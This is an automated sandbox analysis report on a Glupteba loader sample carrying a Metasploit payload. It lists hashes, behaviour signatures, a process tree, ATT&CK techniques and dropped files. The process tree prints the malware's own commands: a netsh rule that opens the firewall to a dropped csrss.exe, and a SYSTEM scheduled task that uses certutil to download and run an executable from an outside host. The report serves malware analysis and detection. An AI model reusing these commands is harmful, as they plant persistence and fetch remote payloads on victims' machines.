Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    21-04-2024 14:33

General

  • Target

    ff7fca4fc0f549d41eda37e3654ac201_JaffaCakes118.exe

  • Size

    4.5MB

  • MD5

    ff7fca4fc0f549d41eda37e3654ac201

  • SHA1

    93ec5d58617a0da40cf73632da5881fe47ee308b

  • SHA256

    a0b5a4ccc8b929703d7943ce5375d5e7ddb055bb3341de337d6a0ecec95c26cd

  • SHA512

    e5e83ec60ef8be8c60646eeb3ac105e7cccba4e82422151e7ae8dc041cfca5448ea26e8f0c93166bb6d33bc280602dfac3dcfe4126718b9fc45278740f54e36c

  • SSDEEP

    98304:6EtIRL6Rg2iD71iWturBNDErHKM8R53QjI/uB005Wh+EUN:6EtCLjp1turBNDE2M8zJe9M+BN

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 23 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ff7fca4fc0f549d41eda37e3654ac201_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ff7fca4fc0f549d41eda37e3654ac201_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1952
    • C:\Users\Admin\AppData\Local\Temp\ff7fca4fc0f549d41eda37e3654ac201_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\ff7fca4fc0f549d41eda37e3654ac201_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2880
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /197-197
        3⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:384
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2248
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2252
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:1796
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240421143312.log C:\Windows\Logs\CBS\CbsPersist_20240421143312.cab
    1⤵
    • Drops file in Windows directory
    PID:2684

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Scheduled Task/Job

1
T1053

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

3
T1562

Disable or Modify Tools

2
T1562.001

Disable or Modify System Firewall

1
T1562.004

Modify Registry

4
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Cab563D.tmp
    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\Tar577C.tmp
    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe
    Filesize

    4.5MB

    MD5

    ff7fca4fc0f549d41eda37e3654ac201

    SHA1

    93ec5d58617a0da40cf73632da5881fe47ee308b

    SHA256

    a0b5a4ccc8b929703d7943ce5375d5e7ddb055bb3341de337d6a0ecec95c26cd

    SHA512

    e5e83ec60ef8be8c60646eeb3ac105e7cccba4e82422151e7ae8dc041cfca5448ea26e8f0c93166bb6d33bc280602dfac3dcfe4126718b9fc45278740f54e36c

  • memory/384-114-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-117-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-125-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-124-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-123-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-122-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-20-0x0000000000F90000-0x00000000013CC000-memory.dmp
    Filesize

    4.2MB

  • memory/384-22-0x0000000000F90000-0x00000000013CC000-memory.dmp
    Filesize

    4.2MB

  • memory/384-24-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-121-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-120-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-112-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-119-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-118-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-111-0x0000000000F90000-0x00000000013CC000-memory.dmp
    Filesize

    4.2MB

  • memory/384-57-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-113-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-116-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/384-115-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/1796-44-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

  • memory/1796-32-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

  • memory/1952-7-0x00000000014D0000-0x0000000001DF6000-memory.dmp
    Filesize

    9.1MB

  • memory/1952-0-0x0000000001090000-0x00000000014CC000-memory.dmp
    Filesize

    4.2MB

  • memory/1952-1-0x0000000001090000-0x00000000014CC000-memory.dmp
    Filesize

    4.2MB

  • memory/1952-2-0x00000000014D0000-0x0000000001DF6000-memory.dmp
    Filesize

    9.1MB

  • memory/1952-3-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/1952-4-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/1952-6-0x0000000001090000-0x00000000014CC000-memory.dmp
    Filesize

    4.2MB

  • memory/2388-5-0x0000000000E60000-0x000000000129C000-memory.dmp
    Filesize

    4.2MB

  • memory/2388-9-0x00000000012A0000-0x0000000001BC6000-memory.dmp
    Filesize

    9.1MB

  • memory/2388-21-0x0000000000E60000-0x000000000129C000-memory.dmp
    Filesize

    4.2MB

  • memory/2388-19-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB

  • memory/2388-8-0x0000000000E60000-0x000000000129C000-memory.dmp
    Filesize

    4.2MB

  • memory/2388-10-0x0000000000400000-0x0000000000D41000-memory.dmp
    Filesize

    9.3MB